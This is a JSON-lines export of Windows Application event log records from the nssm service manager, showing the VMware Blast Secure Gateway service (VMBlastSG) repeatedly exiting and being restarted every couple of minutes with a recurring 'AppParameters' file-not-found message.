{"@timestamp":1646817688947,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165965}}
{"@timestamp":1646817688947,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165966}}
{"@timestamp":1646817688948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165967}}
{"@timestamp":1646817817428,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165968}}
{"@timestamp":1646817817429,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165969}}
{"@timestamp":1646817817430,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163140","0"]}}},"module":"Application","provider":"nssm","sequence":165970}}
{"@timestamp":1646817817431,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163140","163140","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165971}}
{"@timestamp":1646817817447,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165972}}
{"@timestamp":1646817817447,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165973}}
{"@timestamp":1646817817448,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165974}}
{"@timestamp":1646817817449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165975}}
{"@timestamp":1646817945972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165976}}
{"@timestamp":1646817945974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165977}}
{"@timestamp":1646817945975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161540","0"]}}},"module":"Application","provider":"nssm","sequence":165978}}
{"@timestamp":1646817945976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161540","161540","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165979}}
{"@timestamp":1646817945998,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165980}}
{"@timestamp":1646817945999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165981}}
{"@timestamp":1646817945999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165982}}
{"@timestamp":1646817946001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165983}}
{"@timestamp":1646818074480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165984}}
{"@timestamp":1646818074481,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165985}}
{"@timestamp":1646818074481,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162928","0"]}}},"module":"Application","provider":"nssm","sequence":165986}}
{"@timestamp":1646818074482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162928","162928","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165987}}
{"@timestamp":1646818074500,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165988}}
{"@timestamp":1646818074501,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165989}}
{"@timestamp":1646818074502,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165990}}
{"@timestamp":1646818074503,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165991}}
{"@timestamp":1646818202985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165992}}
{"@timestamp":1646818202987,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165993}}
{"@timestamp":1646818202988,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163652","0"]}}},"module":"Application","provider":"nssm","sequence":165994}}
{"@timestamp":1646818202988,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163652","163652","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165995}}
{"@timestamp":1646818203004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165996}}
{"@timestamp":1646818203005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165997}}
{"@timestamp":1646818203005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165998}}
{"@timestamp":1646818203006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165999}}
{"@timestamp":1646818331469,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166000}}
{"@timestamp":1646818331471,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166001}}
{"@timestamp":1646818331471,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163584","0"]}}},"module":"Application","provider":"nssm","sequence":166002}}
{"@timestamp":1646818331472,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163584","163584","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166003}}
{"@timestamp":1646818331490,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166004}}
{"@timestamp":1646818331491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166005}}
{"@timestamp":1646818331492,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166006}}
{"@timestamp":1646818331493,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166007}}
{"@timestamp":1646818460188,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166008}}
{"@timestamp":1646818460189,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166009}}
{"@timestamp":1646818460191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162140","0"]}}},"module":"Application","provider":"nssm","sequence":166010}}
{"@timestamp":1646818460192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162140","162140","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166011}}
{"@timestamp":1646818460211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166012}}
{"@timestamp":1646818460212,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166013}}
{"@timestamp":1646818460212,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166014}}
{"@timestamp":1646818460213,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166015}}
{"@timestamp":1646818588780,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166016}}
{"@timestamp":1646818588781,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166017}}
{"@timestamp":1646818588782,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163824","0"]}}},"module":"Application","provider":"nssm","sequence":166018}}
{"@timestamp":1646818588783,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163824","163824","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166019}}
{"@timestamp":1646818588809,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166020}}
{"@timestamp":1646818588810,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166021}}
{"@timestamp":1646818588810,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166022}}
{"@timestamp":1646818588811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166023}}
{"@timestamp":1646818717277,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166024}}
{"@timestamp":1646818717278,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166025}}
{"@timestamp":1646818717279,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162888","0"]}}},"module":"Application","provider":"nssm","sequence":166026}}
{"@timestamp":1646818717280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162888","162888","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166027}}
{"@timestamp":1646818717296,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166028}}
{"@timestamp":1646818717296,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166029}}
{"@timestamp":1646818717297,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166030}}
{"@timestamp":1646818717298,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166031}}
{"@timestamp":1646818845783,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166032}}
{"@timestamp":1646818845785,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166033}}
{"@timestamp":1646818845785,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160776","0"]}}},"module":"Application","provider":"nssm","sequence":166034}}
{"@timestamp":1646818845786,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160776","160776","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166035}}
{"@timestamp":1646818845803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166036}}
{"@timestamp":1646818845804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166037}}
{"@timestamp":1646818845806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166038}}
{"@timestamp":1646818845806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166039}}
{"@timestamp":1646818974280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166040}}
{"@timestamp":1646818974282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166041}}
{"@timestamp":1646818974283,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163004","0"]}}},"module":"Application","provider":"nssm","sequence":166042}}
{"@timestamp":1646818974284,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163004","163004","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166043}}
{"@timestamp":1646818974300,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166044}}
{"@timestamp":1646818974301,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166045}}
{"@timestamp":1646818974301,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166046}}
{"@timestamp":1646818974302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166047}}
{"@timestamp":1646819102791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166048}}
{"@timestamp":1646819102793,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166049}}
{"@timestamp":1646819102793,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163568","0"]}}},"module":"Application","provider":"nssm","sequence":166050}}
{"@timestamp":1646819102794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163568","163568","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166051}}
{"@timestamp":1646819102811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166052}}
{"@timestamp":1646819102812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166053}}
{"@timestamp":1646819102812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166054}}
{"@timestamp":1646819102814,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166055}}
{"@timestamp":1646819231282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166056}}
{"@timestamp":1646819231284,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166057}}
{"@timestamp":1646819231284,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161828","0"]}}},"module":"Application","provider":"nssm","sequence":166058}}
{"@timestamp":1646819231285,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161828","161828","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166059}}
{"@timestamp":1646819231302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166060}}
{"@timestamp":1646819231303,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166061}}
{"@timestamp":1646819231303,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166062}}
{"@timestamp":1646819231304,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166063}}
{"@timestamp":1646819359805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166064}}
{"@timestamp":1646819359807,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166065}}
{"@timestamp":1646819359808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162820","0"]}}},"module":"Application","provider":"nssm","sequence":166066}}
{"@timestamp":1646819359808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162820","162820","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166067}}
{"@timestamp":1646819359825,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166068}}
{"@timestamp":1646819359825,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166069}}
